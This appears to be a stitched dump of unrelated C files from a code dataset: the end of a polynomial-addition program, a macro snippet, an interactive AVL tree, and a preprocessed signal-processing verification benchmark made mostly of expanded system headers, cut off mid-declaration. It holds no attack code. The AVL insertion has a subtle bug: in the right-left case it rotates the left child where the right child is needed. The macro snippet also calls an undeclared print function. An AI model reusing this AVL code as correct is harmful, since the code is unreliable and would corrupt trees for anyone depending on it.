(answerTerms + addedTermAmount)->power = (polynomails[1].terms + added[1])->power;
addedTermAmount++;
}
added[1]++;
break;
}
}
for (int i = 0; i < 2; i++)
for (; added[i] < polynomails[i].termAmount; added[i]++)
{
if (addedTermAmount != 0 && (answerTerms + addedTermAmount - 1)->power == (polynomails[i].terms + added[i])->power)
(answerTerms + addedTermAmount - 1)->coefficient += (polynomails[i].terms + added[i])->coefficient;
else
{
(answerTerms + addedTermAmount)->coefficient = (polynomails[i].terms + added[i])->coefficient;
(answerTerms + addedTermAmount)->power = (polynomails[i].terms + added[i])->power;
addedTermAmount++;
}
}
answer.terms = answerTerms;
// print answer
for (long long int i = 0; i < answer.termAmount; i++)
{
if ((answer.terms + i)->coefficient)
{
printf("%lld %lld", (answer.terms + i)->coefficient, (answer.terms + i)->power);
if (i != answer.termAmount - 1)
printf(" ");
}
}
printf("\n");
return 0;
}
|
the_stack_data/215769549.c
|
#define LOOP \
for (int i=0; i<3; i++) { \
print(i); \
}
int main() {
LOOP
return 0;
}
|
the_stack_data/125141266.c
|
// AVL tree implementation in C
#include<stdio.h>
#include<stdlib.h>
struct Node
{
int key;
struct Node *left;
struct Node *right;
int height;
};
int max(int a, int b);
int height(struct Node *N)
{
if (N == NULL)
return 0;
return N->height;
}
int max(int a, int b)
{
return (a > b)? a : b;
}
struct Node* newNode(int key)
{
struct Node* node = (struct Node*)
malloc(sizeof(struct Node));
node->key = key;
node->left = NULL;
node->right = NULL;
node->height = 1;
return(node);
}
struct Node *rightRotate(struct Node *y) //Right Rotation
{
struct Node *x = y->left;
struct Node *T2 = x->right;
x->right = y;
y->left = T2;
y->height = max(height(y->left), height(y->right))+1;
x->height = max(height(x->left), height(x->right))+1;
return x;
}
struct Node *leftRotate(struct Node *x) //Left Rotation
{
struct Node *y = x->right;
struct Node *T2 = y->left;
y->left = x;
x->right = T2;
x->height = max(height(x->left), height(x->right))+1;
y->height = max(height(y->left), height(y->right))+1;
return y;
}
int getBalanceFactor(struct Node *N)
{
if (N == NULL)
return 0;
return height(N->left) - height(N->right);
}
struct Node* insertNode(struct Node* node, int key)
{
if (node == NULL)
return(newNode(key));
if (key < node->key)
node->left = insertNode(node->left, key);
else if (key > node->key)
node->right = insertNode(node->right, key);
else
return node;
node->height = 1 + max(height(node->left),
height(node->right));
int balanceFactor = getBalanceFactor(node);
if (balanceFactor > 1)
{
if (key < node->left->key)
{
return rightRotate(node);
}
else if (key > node->left->key)
{
node->left = leftRotate(node->left);
return rightRotate(node);
}
}
if (balanceFactor < -1)
{
if (key > node->right->key)
{
return leftRotate(node);
}
else if (key < node->right->key)
{
node->left = rightRotate(node->left);
return leftRotate(node);
}
}
// if (balance > 1 && key < node->left->key)
// return rightRotate(node);
// if (balance < -1 && key > node->right->key)
// return leftRotate(node);
// if (balance > 1 && key > node->left->key)
// {
// node->left = leftRotate(node->left);
// return rightRotate(node);
// }
// if (balance < -1 && key < node->right->key)
// {
// node->right = rightRotate(node->right);
// return leftRotate(node);
// }
return node;
}
struct Node * minValueNode(struct Node* node)
{
struct Node* current = node;
while (current->left != NULL)
current = current->left;
return current;
}
struct Node* deleteNode(struct Node* root, int key)
{
if (root == NULL)
return root;
if ( key < root->key )
root->left = deleteNode(root->left, key);
else if( key > root->key )
root->right = deleteNode(root->right, key);
else
{
if( (root->left == NULL) || (root->right == NULL) )
{
struct Node *temp = root->left ? root->left :
root->right;
if (temp == NULL)
{
temp = root;
root = NULL;
}
else
*root = *temp;
free(temp);
}
else
{
struct Node* temp = minValueNode(root->right);
root->key = temp->key;
root->right = deleteNode(root->right, temp->key);
}
}
if (root == NULL)
return root;
root->height = 1 + max(height(root->left),
height(root->right));
int balanceFactor = getBalanceFactor(root);
if (balanceFactor > 1)
{
if (getBalanceFactor(root->left) >= 0)
{
return rightRotate(root);
}
else
{
root->left = leftRotate(root->left);
return rightRotate(root);
}
}
if (balanceFactor < -1)
{
if (getBalanceFactor(root->right) <= 0)
{
return leftRotate(root);
}
else
{
root->right = rightRotate(root->right);
return leftRotate(root);
}
}
// if (balance > 1 && getBalance(root->left) >= 0)
// return rightRotate(root);
// if (balance > 1 && getBalance(root->left) < 0)
// {
// root->left = leftRotate(root->left);
// return rightRotate(root);
// }
// if (balance < -1 && getBalance(root->right) <= 0)
// return leftRotate(root);
// // Right Left Case
// if (balance < -1 && getBalance(root->right) > 0)
// {
// root->right = rightRotate(root->right);
// return leftRotate(root);
// }
return root;
}
void printPreOrder(struct Node *root)
{
if(root != NULL)
{
printf("%d ", root->key);
printPreOrder(root->left);
printPreOrder(root->right);
}
}
int main()
{
struct Node *root = NULL;
int ch,n,key;
while(1)
{
printf("\n**********MENU***********\n1.Insert\n2.Delete\n3.Preorder Traverse\n4.exit\n");
printf("\n\t Enter choice");
scanf("%d",&ch);
switch(ch)
{
case 1: printf("\n\t Enter element to insert: ");
scanf("%d",&n);
root=insertNode(root,n);
break;
case 2: printf("\n\t Enter node to delete: ");
scanf("%d",&key);
root=deleteNode(root, key);
break;
case 3: printPreOrder(root);
break;
case 4: printf("\n\t Exiting-----");
exit(0);
break;
default:printf("\n\t Enter valid choice");
break;
}
}
return 0;
}
|
the_stack_data/150587.c
|
# 1 "benchmarks/ds-08-impl3.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-08-impl3.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
# 59 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __dev_t dev_t;
typedef __gid_t gid_t;
typedef __mode_t mode_t;
typedef __nlink_t nlink_t;
typedef __uid_t uid_t;
typedef __off_t off_t;
# 97 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
typedef __pid_t pid_t;
typedef __id_t id_t;
typedef __ssize_t ssize_t;
typedef __daddr_t daddr_t;
typedef __caddr_t caddr_t;
typedef __key_t key_t;
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h" 1 3 4
typedef __clock_t clock_t;
# 127 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h" 1 3 4
typedef __clockid_t clockid_t;
# 129 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/time_t.h" 1 3 4
typedef __time_t time_t;
# 130 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h" 1 3 4
typedef __timer_t timer_t;
# 131 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 144 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 145 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef unsigned long int ulong;
typedef unsigned short int ushort;
typedef unsigned int uint;
# 1 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h" 3 4
typedef __int8_t int8_t;
typedef __int16_t int16_t;
typedef __int32_t int32_t;
typedef __int64_t int64_t;
# 156 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __uint8_t u_int8_t;
typedef __uint16_t u_int16_t;
typedef __uint32_t u_int32_t;
typedef __uint64_t u_int64_t;
typedef int register_t __attribute__ ((__mode__ (__word__)));
# 176 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/endian.h" 1 3 4
# 24 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endian.h" 1 3 4
# 35 "/usr/include/x86_64-linux-gnu/bits/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/endianness.h" 1 3 4
# 36 "/usr/include/x86_64-linux-gnu/bits/endian.h" 2 3 4
# 25 "/usr/include/endian.h" 2 3 4
# 35 "/usr/include/endian.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
static __inline __uint16_t
__bswap_16 (__uint16_t __bsx)
{
return __builtin_bswap16 (__bsx);
}
static __inline __uint32_t
__bswap_32 (__uint32_t __bsx)
{
return __builtin_bswap32 (__bsx);
}
# 69 "/usr/include/x86_64-linux-gnu/bits/byteswap.h" 3 4
__extension__ static __inline __uint64_t
__bswap_64 (__uint64_t __bsx)
{
return __builtin_bswap64 (__bsx);
}
# 36 "/usr/include/endian.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 1 3 4
# 32 "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h" 3 4
static __inline __uint16_t
__uint16_identity (__uint16_t __x)
{
return __x;
}
static __inline __uint32_t
__uint32_identity (__uint32_t __x)
{
return __x;
}
static __inline __uint64_t
__uint64_identity (__uint64_t __x)
{
return __x;
}
# 37 "/usr/include/endian.h" 2 3 4
# 177 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/select.h" 1 3 4
# 30 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/select.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/select.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/select.h" 2 3 4
# 31 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 1 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h" 1 3 4
typedef struct
{
unsigned long int __val[(1024 / (8 * sizeof (unsigned long int)))];
} __sigset_t;
# 5 "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h" 2 3 4
typedef __sigset_t sigset_t;
# 34 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h" 1 3 4
struct timeval
{
__time_t tv_sec;
__suseconds_t tv_usec;
};
# 38 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
struct timespec
{
__time_t tv_sec;
__syscall_slong_t tv_nsec;
# 26 "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h" 3 4
};
# 40 "/usr/include/x86_64-linux-gnu/sys/select.h" 2 3 4
typedef __suseconds_t suseconds_t;
typedef long int __fd_mask;
# 59 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
typedef struct
{
__fd_mask __fds_bits[1024 / (8 * (int) sizeof (__fd_mask))];
} fd_set;
typedef __fd_mask fd_mask;
# 91 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 101 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int select (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
struct timeval *__restrict __timeout);
# 113 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
extern int pselect (int __nfds, fd_set *__restrict __readfds,
fd_set *__restrict __writefds,
fd_set *__restrict __exceptfds,
const struct timespec *__restrict __timeout,
const __sigset_t *__restrict __sigmask);
# 126 "/usr/include/x86_64-linux-gnu/sys/select.h" 3 4
# 180 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __blksize_t blksize_t;
typedef __blkcnt_t blkcnt_t;
typedef __fsblkcnt_t fsblkcnt_t;
typedef __fsfilcnt_t fsfilcnt_t;
# 227 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 1 3 4
# 44 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 1 3 4
# 21 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes-arch.h" 2 3 4
# 45 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
typedef struct __pthread_internal_list
{
struct __pthread_internal_list *__prev;
struct __pthread_internal_list *__next;
} __pthread_list_t;
typedef struct __pthread_internal_slist
{
struct __pthread_internal_slist *__next;
} __pthread_slist_t;
# 74 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 1 3 4
# 22 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
struct __pthread_mutex_s
{
int __lock;
unsigned int __count;
int __owner;
unsigned int __nusers;
int __kind;
short __spins;
short __elision;
__pthread_list_t __list;
# 53 "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h" 3 4
};
# 75 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
# 87 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 1 3 4
# 23 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
struct __pthread_rwlock_arch_t
{
unsigned int __readers;
unsigned int __writers;
unsigned int __wrphase_futex;
unsigned int __writers_futex;
unsigned int __pad3;
unsigned int __pad4;
int __cur_writer;
int __shared;
signed char __rwelision;
unsigned char __pad1[7];
unsigned long int __pad2;
unsigned int __flags;
# 55 "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h" 3 4
};
# 88 "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h" 2 3 4
struct __pthread_cond_s
{
__extension__ union
{
__extension__ unsigned long long int __wseq;
struct
{
unsigned int __low;
unsigned int __high;
} __wseq32;
};
__extension__ union
{
__extension__ unsigned long long int __g1_start;
struct
{
unsigned int __low;
unsigned int __high;
} __g1_start32;
};
unsigned int __g_refs[2] ;
unsigned int __g_size[2];
unsigned int __g1_orig_size;
unsigned int __wrefs;
unsigned int __g_signals[2];
};
# 24 "/usr/include/x86_64-linux-gnu/bits/pthreadtypes.h" 2 3 4
typedef unsigned long int pthread_t;
typedef union
{
char __size[4];
int __align;
} pthread_mutexattr_t;
typedef union
{
char __size[4];
int __align;
} pthread_condattr_t;
typedef unsigned int pthread_key_t;
typedef int pthread_once_t;
union pthread_attr_t
{
char __size[56];
long int __align;
};
typedef union pthread_attr_t pthread_attr_t;
typedef union
{
struct __pthread_mutex_s __data;
char __size[40];
long int __align;
} pthread_mutex_t;
typedef union
{
struct __pthread_cond_s __data;
char __size[48];
__extension__ long long int __align;
} pthread_cond_t;
typedef union
{
struct __pthread_rwlock_arch_t __data;
char __size[56];
long int __align;
} pthread_rwlock_t;
typedef union
{
char __size[8];
long int __align;
} pthread_rwlockattr_t;
typedef volatile int pthread_spinlock_t;
typedef union
{
char __size[32];
long int __align;
} pthread_barrier_t;
typedef union
{
char __size[4];
int __align;
} pthread_barrierattr_t;
# 228 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
# 395 "/usr/include/stdlib.h" 2 3 4
extern long int random (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srandom (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern char *initstate (unsigned int __seed, char *__statebuf,
size_t __statelen) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern char *setstate (char *__statebuf) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct random_data
{
int32_t *fptr;
int32_t *rptr;
int32_t *state;
int rand_type;
int rand_deg;
int rand_sep;
int32_t *end_ptr;
};
extern int random_r (struct random_data *__restrict __buf,
int32_t *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int srandom_r (unsigned int __seed, struct random_data *__buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));
extern int initstate_r (unsigned int __seed, char *__restrict __statebuf,
size_t __statelen,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4)));
extern int setstate_r (char *__restrict __statebuf,
struct random_data *__restrict __buf)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int rand (void) __attribute__ ((__nothrow__ , __leaf__));
extern void srand (unsigned int __seed) __attribute__ ((__nothrow__ , __leaf__));
extern int rand_r (unsigned int *__seed) __attribute__ ((__nothrow__ , __leaf__));
extern double drand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern double erand48 (unsigned short int __xsubi[3]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int lrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int nrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long int mrand48 (void) __attribute__ ((__nothrow__ , __leaf__));
extern long int jrand48 (unsigned short int __xsubi[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void srand48 (long int __seedval) __attribute__ ((__nothrow__ , __leaf__));
extern unsigned short int *seed48 (unsigned short int __seed16v[3])
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern void lcong48 (unsigned short int __param[7]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
struct drand48_data
{
unsigned short int __x[3];
unsigned short int __old_x[3];
unsigned short int __c;
unsigned short int __init;
__extension__ unsigned long long int __a;
};
extern int drand48_r (struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int erand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
double *__restrict __result) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int lrand48_r (struct drand48_data *__restrict __buffer,
long int *__restrict __result)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
extern int nrand48_r (unsigned short int __xsubi[3],
struct drand48_data *__restrict __buffer,
long int *__restrict __result)
